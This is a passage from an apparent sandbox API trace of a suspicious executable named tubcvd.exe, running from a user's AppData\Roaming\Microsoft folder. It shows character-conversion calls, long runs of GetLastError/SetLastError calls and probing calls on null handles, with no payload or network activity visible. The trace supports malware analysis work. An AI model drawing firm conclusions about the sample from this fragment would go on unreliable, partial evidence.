!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0fÏ«k\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0155.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0155.824] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0155.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0fÏ«k\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0155.824] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x415cf8, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.824] SetLastError (dwErrCode=0x0) [0155.824] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.825] SetLastError (dwErrCode=0x0) [0155.825] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.826] GetLastError () returned 0x0 [0155.826] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.827] SetLastError (dwErrCode=0x0) [0155.827] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.828] SetLastError (dwErrCode=0x0) [0155.828] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.829] GetLastError () returned 0x0 [0155.829] SetLastError (dwErrCode=0x0) [0155.830] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.830] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.830] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406ed9) returned 0x0 [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.831] SetLastError (dwErrCode=0x0) [0155.831] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.832] SetLastError (dwErrCode=0x0) [0155.832] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.833] GetLastError () returned 0x0 [0155.833] SetLastError (dwErrCode=0x0) [0155.834] PostMessageA (hWnd=0x0, Msg=0x1, wParam=0x0, lParam=0x0) returned 0 [0155.862] GetProcessTimes (in: hProcess=0x0, lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0 | out: lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0) returned 0 [0155.862] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.862] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.862] GetFileType (hFile=0x0) returned 0x0 [0155.862] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.862] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.862] GetFileType (hFile=0x0) returned 0x0 [0155.862] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 2147483647 [0155.863] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0155.863] GetFileType (hFile=0x0) returned 0x0 [0155.863] GetThreadPriority (hThread=0x0) returned 